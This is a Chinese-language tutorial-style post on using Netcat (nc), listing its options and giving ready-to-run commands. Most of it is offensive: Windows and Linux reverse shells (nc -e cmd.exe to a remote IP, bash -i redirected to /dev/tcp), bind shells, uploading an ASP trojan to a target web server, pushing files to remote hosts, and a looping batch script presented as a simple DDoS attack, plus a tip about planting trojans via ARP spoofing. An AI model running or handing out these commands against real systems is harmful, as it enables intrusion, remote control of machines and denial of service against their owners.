使用 nc 反弹shell

本文最后更新于 2025年7月11日 下午

🚀 0、简介

nc(Netcat)被誉为网络中的瑞士军刀,功能强大且用途多样,既能进行端口扫描、监听,也能用于反弹shell、文件传输等。


⚙️ 参数说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-h    查看帮助信息   
-d 后台模式
-e 程序重定向,一旦连接就执行(危险)
-i 延时秒数
-l 监听模式,用于入站连接
-L 监听模式,连接关闭后仍继续监听,直到 Ctrl+C
-n 使用IP地址,禁止域名解析
-o 记录16进制传输内容
-p 本地端口号
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出,用 -vv 更详细
-w 超时设置(秒)
-z 不发送数据(用于端口扫描)

🎯 1、基本用法示例

1
2
3
4
5
6
7
8
9
10
# 扫描端口范围
nc.exe -nvv -w2 -z 192.168.199.111 3385-3399

# Windows反弹shell
nc.exe -lvp 8888 # 监听端口
nc.exe -t -e cmd.exe 192.168.199.152 8888 # 反弹shell

# Linux反弹shell
nc -lvp 8888 # 监听端口
bash -i >& /dev/tcp/192.168.199.111/8888 0>&1 # 反弹shell

🚀 2、进阶用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 做蜜罐,持续监听3389端口,将接收到的数据保存到c:\log.txt
nc -L -p 3389 > c:\log.txt

# 监听3389端口,并把payload.txt文件内容发送给连接者(传输文件)
nc -L -p 3389 < c:\payload.txt

# 绑定Windows主机cmd到8888端口,使用Telnet交互
nc -l -p 8888 -t -e cmd.exe

# 绑定cmd反向连接到远程主机192.168.199.111的888端口,Telnet交互
nc -t -e cmd.exe 192.168.199.111 888

# 上传ASP木马到目标服务器80端口
nc -vv www.xx.com 80 < xx.asp

# 发送本地1.txt文件内容到192.168.199.111的80端口
nc -nvv 192.168.199.111 80 < 1.txt

# 架设简单的HTTP服务器,监听80端口,页面内容为index.html
nc -l -p 80 < index.html

# 利用nc进行简单的DDOS攻击(发送垃圾数据)
nc -vv www.xxx.com 80 < 1.txt

# 批处理循环DDOS攻击示例
@echo off
color a
:1
cls
nc -vv www.xxx.com 80 < 1.txt
goto 1

💡 小贴士

  • Windows和Linux编码不同,出现乱码时可用chcp 65001切换到UTF-8编码。
  • 简单的HTTP服务器只能单页服务,无法处理多用户并发,适合局域网测试或ARP欺骗挂马。
  • 使用-e参数反弹shell非常危险,慎用!

📷 演示截图

nc命令示例

Windows下nc使用